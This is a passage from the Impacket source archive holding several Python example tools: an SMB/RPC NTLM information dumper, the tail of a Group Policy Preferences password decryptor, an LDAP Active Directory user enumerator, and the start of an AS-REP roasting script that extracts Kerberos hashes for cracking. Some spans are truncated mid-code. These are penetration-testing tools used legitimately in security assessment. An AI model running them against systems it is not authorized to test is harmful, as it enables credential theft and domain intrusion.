nmb, ntlm from impacket.examples import logger from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBNTLMDialect_Parameters,\ SMBNTLMDialect_Data, SMBExtended_Security_Parameters, SMBExtended_Security_Data, UnsupportedFeature,\ SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Parameters, SMBSessionSetupAndX_Extended_Response_Parameters,\ SMBSessionSetupAndX_Extended_Response_Data, SMBSessionSetupAndXResponse_Parameters, SMB_DIALECT from impacket.smb3structs import * from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech from impacket.nt_errors import STATUS_SUCCESS, STATUS_MORE_PROCESSING_REQUIRED from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import * EPOCH_AS_FILETIME = 116444736000000000 # January 1, 1970 as MS file time class RPC: def __init__(self, target) -> None: self.MaxTrasmitionSize = 0 self._initializeTransport(target) def GetChallange(self): ntlmChallenge = None packet = self._create_bind_request() self._rpctransport.send(packet.get_packet()) buffer = self._rpctransport.recv() if buffer != 0: response = MSRPCHeader(buffer) bindResp = MSRPCBindAck(response.getData()) self.MaxTrasmitionSize = bindResp['max_rfrag'] ntlmChallenge = ntlm.NTLMAuthChallenge(bindResp['auth_data']) return ntlmChallenge def _initializeTransport(self, target): self._rpctransport = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:%s[135]' % target) self._rpctransport.set_credentials('', '', '', '', '') self._rpctransport.set_dport(135) self._rpctransport.connect() def _create_bind_request(self): bind = MSRPCBind() item = CtxItem() item['AbstractSyntax'] = epm.MSRPC_UUID_PORTMAP item['TransferSyntax'] = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')) item['ContextID'] = 0 item['TransItems'] = 1 bind.addCtxItem(item) packet = MSRPCHeader() packet['type'] = MSRPC_BIND packet['pduData'] = bind.getData() packet['call_id'] = 1 auth = ntlm.getNTLMSSPType1('', '', signingRequired=True, use_ntlmv2=True) sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY sec_trailer['auth_ctx_id'] = 0 + 79231 pad = (4 - (len(packet.get_packet()) % 4)) % 4 if pad != 0: packet['pduData'] += b'\xFF'*pad sec_trailer['auth_pad_len']=pad packet['sec_trailer'] = sec_trailer packet['auth_data'] = auth return packet class SMB1: def __init__(self, remote_name, remote_host, my_name=None, sess_port=445, timeout=60, session=None, negSessionResponse=None): self._uid = 0 self._dialects_data = None self._SignatureRequired = False self._dialects_parameters = None self.__flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS self.__flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES self.__timeout = timeout self._session = session self._my_name = my_name self._auth = None if session is None: self._session = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, nmb.TYPE_SERVER, sess_port, self.__timeout) self._negotiateResponse = self._negotiateSession(negSessionResponse) def GetNegotiateResponse(self): return self._negotiateResponse def GetChallange(self): packet = NewSMBPacket() if self._SignatureRequired: packet['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE sessionSetup = self._createSessionSetupRequest() packet.addCommand(sessionSetup) self.send(packet) packet = self.receive() if packet.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX): self._uid = packet['Uid'] sessionResponse = SMBCommand(packet['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = packet['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) self._respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) ntlmChallenge = ntlm.NTLMAuthChallenge(self._respToken['ResponseToken']) return ntlmChallenge def Authenticate(self): type3, _ = ntlm.getNTLMSSPType3(self._auth, self._respToken['ResponseToken'], '', '', '', '', '', use_ntlmv2=True) packet = NewSMBPacket() if self._SignatureRequired: packet['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = type3.getData() sessionSetup = self._createSessionSetupRequest() sessionSetup['Parameters']['SecurityBlobLength'] = len(respToken2) sessionSetup['Data']['SecurityBlob'] = respToken2.getData() packet.addCommand(sessionSetup) self.send(packet) packet = self.receive() try: if packet.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX): sessionResponse = SMBCommand(packet['Data'][0]) sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters']) self._action = sessionParameters['Action'] return True except: pass return False def send(self, negoPacket): negoPacket['Uid'] = self._uid negoPacket['Pid'] = (os.getpid() & 0xFFFF) negoPacket['Flags1'] |= self.__flags1 negoPacket['Flags2'] |= self.__flags2 self._session.send_packet(negoPacket.getData()) def receive(self): r = self._session.recv_packet(self.__timeout) return NewSMBPacket(data = r.get_trailer()) def _negotiateSession(self, negPacket = None): def parsePacket(negoPacket): if negoPacket['Flags2'] & SMB.FLAGS2_UNICODE: self.__flags2 |= SMB.FLAGS2_UNICODE if negoPacket.isValidAnswer(SMB.SMB_COM_NEGOTIATE): sessionResponse = SMBCommand(negoPacket['Data'][0]) self._dialects_parameters = SMBNTLMDialect_Parameters(sessionResponse['Parameters']) self._dialects_data = SMBNTLMDialect_Data() self._dialects_data['ChallengeLength'] = self._dialects_parameters['ChallengeLength'] self._dialects_data.fromString(sessionResponse['Data']) if self._dialects_parameters['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: self._dialects_parameters = SMBExtended_Security_Parameters(sessionResponse['Parameters']) self._dialects_data = SMBExtended_Security_Data(sessionResponse['Data']) if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED: self._SignatureRequired = True else: if self._dialects_parameters['DialectIndex'] == 0xffff: raise UnsupportedFeature("Remote server does not know NT LM 0.12") return self._wrapper(sessionResponse) if negPacket is None: negoPacket = NewSMBPacket() negSession = SMBCommand(SMB.SMB_COM_NEGOTIATE) self.__flags2 = self.__flags2 | SMB.FLAGS2_EXTENDED_SECURITY negSession['Data'] = b'\x02NT LM 0.12\x00' negoPacket.addCommand(negSession) self.send(negoPacket) negoPacket = self.receive() return parsePacket(negoPacket) return parsePacket(NewSMBPacket(data = negPacket)) def _createSessionSetupRequest(self): sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] self._auth = ntlm.getNTLMSSPType1(self._my_name, '', self._SignatureRequired, use_ntlmv2=True) blob['MechToken'] = self._auth.getData() sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() sessionSetup['Data']['NativeOS'] = 'U\x00n\x00i\x00x\x00\x00\x00' sessionSetup['Data']['NativeLanMan'] = 'S\x00a\x00m\x00b\x00a\x00\x00' return sessionSetup def _wrapper(self, sessionResponse): sessionResponse['DialectRevision'] = SMB_DIALECT if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_ENABLED: sessionResponse['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED if self._SignatureRequired: sessionResponse['SecurityMode'] |= SMB2_NEGOTIATE_SIGNING_REQUIRED sessionResponse['MaxReadSize'] = self._dialects_parameters['MaxBufferSize'] sessionResponse['MaxWriteSize'] = self._dialects_parameters['MaxBufferSize'] sessionResponse['SystemTime'] = self._to_long_filetime(self._dialects_parameters['LowDateTime'], self._dialects_parameters['HighDateTime']) sessionResponse['ServerStartTime'] = 0 # SMB1 has not boot time totally return sessionResponse def _to_long_filetime(self, dwLowDateTime, dwHighDateTime): temp_time = dwHighDateTime temp_time <<= 32 temp_time |= dwLowDateTime return temp_time class SMB3: def __init__(self, remote_name, remote_host, my_name=None, sess_port=445, timeout=60, session=None, negSessionResponse=None): self._NetBIOSSession = session self._sequenceWindow = 0 self._sessionId = 0 self._timeout = timeout self._auth = None if session is None: self._NetBIOSSession = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, nmb.TYPE_SERVER, sess_port, timeout) else: self._sequenceWindow += 1 self._negotiateResponse = self._negotiateSession(negSessionResponse) def GetNegotiateResponse(self): return self._negotiateResponse def GetChallange(self): packet = self._createSessionSetupRequest(self._negotiateResponse['DialectRevision']) self.send(packet) self._answer = self.receive() sessionSetupResponse = SMB2SessionSetup_Response(self._answer['Data']) self._respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) ntlmChallenge = ntlm.NTLMAuthChallenge(self._respToken['ResponseToken']) return ntlmChallenge def Authenticate(self): packet = SMB2Packet() if self.GetNegotiateResponse()['DialectRevision'] >= SMB2_DIALECT_30: packet = SMB3Packet() packet['Command'] = SMB2_SESSION_SETUP if self._answer.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): self._sessionId = self._answer['SessionID'] type3, _ = ntlm.getNTLMSSPType3(self._auth, self._respToken['ResponseToken'], '', '', '', '', '') respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = type3.getData() sessionSetup = SMB2SessionSetup() sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED sessionSetup['SecurityBufferLength'] = len(respToken2) sessionSetup['Buffer'] = respToken2.getData() packet['Data'] = sessionSetup self.send(packet) packet = self.receive() try: return packet.isValidAnswer(STATUS_SUCCESS) except: return False def send(self, packet): packet['MessageID'] = self._sequenceWindow self._sequenceWindow += 1 packet['SessionID'] = self._sessionId packet['CreditCharge'] = 1 messageId = packet['MessageID'] data = packet.getData() self._NetBIOSSession.send_packet(data) return messageId def receive(self): data = self._NetBIOSSession.recv_packet(self._timeout) packet = SMB2Packet(data.get_trailer()) return packet def _negotiateSession(self, negSessionResponse = None): currentDialect = SMB2_DIALECT_WILDCARD if negSessionResponse is not None: negotiateResponse = SMB2Negotiate_Response(negSessionResponse['Data']) currentDialect = negotiateResponse['DialectRevision'] if currentDialect == SMB2_DIALECT_WILDCARD: packet = SMB2Packet() packet['Command'] = SMB2_NEGOTIATE negSession = SMB2Negotiate() negSession['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED negSession['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION negSession['ClientGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)]) negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] negSession['DialectCount'] = len(negSession['Dialects']) packet['Data'] = negSession self.send(packet) answer = self.receive() if answer.isValidAnswer(STATUS_SUCCESS): negotiateResponse = SMB2Negotiate_Response(answer['Data']) return negotiateResponse def _createSessionSetupRequest(self, dialect): sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] self._auth = ntlm.getNTLMSSPType1('', '', False) blob['MechToken'] = self._auth.getData() sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData() packet = SMB2Packet() if dialect >= SMB2_DIALECT_30: packet = SMB3Packet() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup return packet class SmbConnection: def __init__(self, ip, hostname, port) -> None: self.target = ip self.hostname = hostname self._sess_port = int(port) self._timeout = 60 self._myName = self._get_my_name() self._nmbSession = None self._SMBConnection = None def IsSmb1Enabled(self): flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES smbv1NegoData = '\x02NT LM 0.12\x00' smb1_enabled = False try: self._negotiateSessionWildcard(True, flags1=flags1, flags2=flags2, data=smbv1NegoData) except Exception as e: if 'No answer!' in str(e): smb1_enabled = False else: smb1_enabled = True return smb1_enabled def NegotiateSession(self): flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' if self._sess_port == nmb.NETBIOS_SESSION_PORT: negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00' packet = self._negotiateSessionWildcard(True, flags1=flags1, flags2=flags2, data=negoData) if packet[0:1] == b'\xfe': self._SMBConnection = SMB3(self.hostname, self.target, self._myName, self._sess_port, self._timeout, session=self._nmbSession, negSessionResponse=SMB2Packet(packet)) else: self._SMBConnection = SMB1(self.hostname, self.target, self._myName, self._sess_port, self._timeout, session=self._nmbSession, negSessionResponse=packet) return self._SMBConnection.GetNegotiateResponse() def GetChallange(self): return self._SMBConnection.GetChallange() def Authenticate(self): return self._SMBConnection.Authenticate() def _negotiateSessionWildcard(self, extended_security=True, flags1=0, flags2=0, data=None): tries = 0 smbp = NewSMBPacket() smbp['Flags1'] = flags1 smbp['Flags2'] = flags2 | SMB.FLAGS2_UNICODE response = None while tries < 2: self._nmbSession = nmb.NetBIOSTCPSession(self._myName, self.hostname, self.target, nmb.TYPE_SERVER, self._sess_port, self._timeout) negSession = SMBCommand(SMB.SMB_COM_NEGOTIATE) if extended_security is True: smbp['Flags2'] |= SMB.FLAGS2_EXTENDED_SECURITY negSession['Data'] = data smbp.addCommand(negSession) self._nmbSession.send_packet(smbp.getData()) try: response = self._nmbSession.recv_packet(self._timeout) break except nmb.NetBIOSError: smbp['Flags2'] |= SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES | SMB.FLAGS2_UNICODE smbp['Data'] = [] tries += 1 if response is None: raise Exception('No answer!') return response.get_trailer() def _get_my_name(self): myName = socket.gethostname() i = myName.find('.') if i > -1: myName = myName[:i] return myName class DumpNtlm: def __init__(self, ip, hostname, port) -> None: self.target = ip self.hostname = hostname self._sess_port = int(port) self._timeout = 60 def DisplayInfo(self): if self._sess_port in [139, 445]: self.DisplaySmbInfo() elif self._sess_port in [135]: self.DisplayRpcInfo() def DisplayRpcInfo(self): rpc = RPC(self.target) ntlmChallenge = rpc.GetChallange() self.DisplayChallangeInfo(ntlmChallenge) self.DisplayIo({'MaxReadSize': rpc.MaxTrasmitionSize, 'MaxWriteSize': rpc.MaxTrasmitionSize}) def DisplaySmbInfo(self): connection = SmbConnection(self.target, self.hostname, self._sess_port) negotiation = connection.NegotiateSession() dialect = negotiation['DialectRevision'] secMode = negotiation['SecurityMode'] smb1_enabled = connection.IsSmb1Enabled() self.DisplayDialect(dialect, smb1_enabled) self.DisplaySigning(secMode) self.DisplayIo(negotiation) self.DisplayTime(negotiation) ntlmChallenge = connection.GetChallange() self.DisplayChallangeInfo(ntlmChallenge) nullSession = connection.Authenticate() self.DisplayNullSession(nullSession) def DisplaySigning(self, secMode): mode = '' if (secMode & SMB2_NEGOTIATE_SIGNING_ENABLED) == SMB2_NEGOTIATE_SIGNING_ENABLED: mode = 'SIGNING_ENABLED' if (secMode & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: mode += ' | SIGNING_REQUIRED' else: mode += ' (not required)' print("[+] Server Security : {}".format(mode)) def DisplayDialect(self, dialect, smb1_enabled): print("[+] SMBv1 Enabled : {0}".format(smb1_enabled)) if dialect == SMB2_DIALECT_002: print("[+] Prefered Dialect: SMB 002") elif dialect == SMB2_DIALECT_21: print("[+] Prefered Dialect: SMB 2.1") elif dialect == SMB2_DIALECT_30: print("[+] Prefered Dialect: SMB 3.0") elif dialect == SMB2_DIALECT_302: print("[+] Prefered Dialect: SMB 3.0.2") elif dialect == SMB2_DIALECT_302: print("[+] Prefered Dialect: SMB 3.0.2") elif dialect == SMB2_DIALECT_311: print("[+] Prefered Dialect: SMB 3.1.1") elif type(dialect) is str: print("[+] Prefered Dialect: {}".format(dialect)) # SMB1 else: print("[+] Prefered Dialect: 0x{:x}".format(dialect)) def DisplayIo(self, negotiateResponse): print("[+] Max Read Size : {} ({} bytes)".format(self.__convert_size(negotiateResponse['MaxReadSize']), negotiateResponse['MaxReadSize'])) print("[+] Max Write Size : {} ({} bytes)".format(self.__convert_size(negotiateResponse['MaxWriteSize']), negotiateResponse['MaxWriteSize'])) def DisplayTime(self, negotiateResponse): currentTime = 0 if negotiateResponse['SystemTime'] == 0 else self.__filetime_to_dt(negotiateResponse['SystemTime']).astimezone(timezone.utc) bootTime = 0 if negotiateResponse['ServerStartTime'] == 0 else self.__filetime_to_dt(negotiateResponse['ServerStartTime']).astimezone(timezone.utc) print("[+] Current Time : {}".format(currentTime)) if bootTime != 0: print("[+] Boot Time : {}".format(bootTime)) print("[+] Server Up Time : {}".format(currentTime - bootTime)) def DisplayChallangeInfo(self, challange): if challange['TargetInfoFields_len'] > 0: av_pairs = ntlm.AV_PAIRS(challange['TargetInfoFields'][:challange['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: try: print("[+] Name : {}".format(av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le'))) except: pass if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: try: print("[+] Domain : {}".format(av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'))) except: pass if av_pairs[ntlm.NTLMSSP_AV_DNS_TREENAME] is not None: try: print("[+] DNS Tree Name : {}".format(av_pairs[ntlm.NTLMSSP_AV_DNS_TREENAME][1].decode('utf-16le'))) except: pass if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None: try: print("[+] DNS Domain Name : {}".format(av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le'))) except: pass if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None: try: print("[+] DNS Host Name : {}".format(av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le'))) except: pass # if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: # try: # timelong = struct.unpack('= 4: print("[+] OS : {}".format("Windows NT %d.%d Build %d" % (indexbytes(version,0), indexbytes(version,1), struct.unpack(' 0: logging.debug("GUEST Session Granted") else: logging.debug("USER Session Granted") return smbClient if __name__ == '__main__': print(version.BANNER) args = parse_args() init_logger(args) if args.target.upper() == "LOCAL": if args.xmlfile is not None: # Only given decrypt XML file if os.path.exists(args.xmlfile): g = GetGPPasswords(None, None) logging.debug("Opening %s XML file for reading ..." % args.xmlfile) f = open(args.xmlfile, "r") rawdata = "".join(f.readlines()) f.close() results = g.parse_xmlfile_content(args.xmlfile, rawdata) g.show(results) else: print("[!] File does not exists or is not readable.") else: domain, username, password, address, lmhash, nthash = parse_target(args) try: smbClient = init_smb_session(args, domain, username, password, address, lmhash, nthash) g = GetGPPasswords(smbClient, args.share) g.list_shares() g.find_cpasswords(args.base_dir) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/GetADUsers.py000077500000000000000000000304111446174712300215560ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will gather data about the domain's users and their corresponding email addresses. It will also # include some extra information about last logon and last password set attributes. # You can enable or disable the the attributes shown in the final table by changing the values in line 184 and # headers in line 190. # If no entries are returned that means users don't have email addresses specified. If so, you can use the # -all-users parameter. # # Author: # Alberto Solino (@agsolino) # # Reference for: # LDAP # from __future__ import division from __future__ import print_function from __future__ import unicode_literals import argparse import logging import sys from datetime import datetime from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection, SessionError class GetADUsers: def __init__(self, username, password, domain, cmdLineOptions): self.options = cmdLineOptions self.__username = username self.__password = password self.__domain = domain self.__target = None self.__lmhash = '' self.__nthash = '' self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost self.__kdcIP = cmdLineOptions.dc_ip self.__kdcHost = cmdLineOptions.dc_host self.__requestUser = cmdLineOptions.user self.__all = cmdLineOptions.all if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') # Create the baseDN domainParts = self.__domain.split('.') self.baseDN = '' for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] # Let's calculate the header and format self.__header = ["Name", "Email", "PasswordLastSet", "LastLogon"] # Since we won't process all rows at once, this will be fixed lengths self.__colLen = [20, 30, 19, 19] self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)]) def getMachineName(self, target): try: s = SMBConnection(target, target) s.login('', '') except OSError as e: if str(e).find('timed out') > 0: raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') else: raise except SessionError as e: if str(e).find('STATUS_NOT_SUPPORTED') > 0: raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') else: raise except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s' % target) else: s.logoff() return s.getServerName() @staticmethod def getUnixTime(t): t -= 116444736000000000 t /= 10000000 return t def processRecord(self, item): if isinstance(item, ldapasn1.SearchResultEntry) is not True: return sAMAccountName = '' pwdLastSet = '' mail = '' lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: # User Account sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'mail': mail = str(attribute['vals'][0]) print((self.__outputFormat.format(*[sAMAccountName, mail, pwdLastSet, lastLogon]))) except Exception as e: logging.debug("Exception", exc_info=True) logging.error('Skipping item, cannot process due to error %s' % str(e)) pass def run(self): if self.__kdcHost is not None: self.__target = self.__kdcHost else: if self.__kdcIP is not None: self.__target = self.__kdcIP else: self.__target = self.__domain if self.__doKerberos: logging.info('Getting machine hostname') self.__target = self.getMachineName(self.__target) # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) else: if str(e).find('NTLMAuthNegotiate') >= 0: logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " "authentication instead.") else: if self.__kdcIP is not None and self.__kdcHost is not None: logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " "must match exactly each other.") raise logging.info('Querying %s for information about domain.' % self.__target) # Print header print((self.__outputFormat.format(*self.__header))) print((' '.join(['-' * itemLen for itemLen in self.__colLen]))) # Building the search filter if self.__all: searchFilter = "(&(sAMAccountName=*)(objectCategory=user)" else: searchFilter = "(&(sAMAccountName=*)(mail=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))" % UF_ACCOUNTDISABLE if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s))' % self.__requestUser else: searchFilter += ')' try: logging.debug('Search Filter=%s' % searchFilter) sc = ldap.SimplePagedResultsControl(size=100) ldapConnection.search(searchFilter=searchFilter, attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'], sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord) except ldap.LDAPSearchError: raise ldapConnection.close() # Process command-line arguments. if __name__ == '__main__': print((version.BANNER)) parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data") parser.add_argument('target', action='store', help='domain[/username[:password]]') parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ') parser.add_argument('-all', action='store_true', help='Return all users, including those with no email ' 'addresses and disabled accounts. When used with -user it ' 'will return user\'s info even if the account is disabled') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) ' 'specified in the target parameter') group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' 'If ommited, the domain part (FQDN) ' 'specified in the account parameter will be used') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.target) if domain == '': logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True try: executer = GetADUsers(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/GetNPUsers.py000077500000000000000000000535371446174712300216250ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will attempt to list and get TGTs for those users that have the property # 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). # For those users with such configuration, a John The Ripper output will be generated so # you can send it for cracking. # # Original credit for this technique goes to @harmj0y: # https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ # Related work by Geoff Janjua: # https://www.exumbraops.com/layerone2016/party # # For usage instructions run the script with no parameters. # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import argparse import datetime import logging import random import sys from binascii import hexlify from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter from impacket.krb5.kerberosv5 import sendReceive, KerberosError from impacket.krb5.types import KerberosTime, Principal from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection, SessionError class GetUserNoPreAuth: @staticmethod def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header print(outputFormat.format(*header)) print(' '.join(['-' * itemLen for itemLen in colLen])) # And now the rows for row in items: print(outputFormat.format(*row)) def __init__(self, username, password, domain, cmdLineOptions): self.__username = username self.__password = password self.__domain = domain self.__target = None self.__lmhash = '' self.__nthash = '' self.__no_pass = cmdLineOptions.no_pass self.__outputFileName = cmdLineOptions.outputfile self.__outputFormat = cmdLineOptions.format 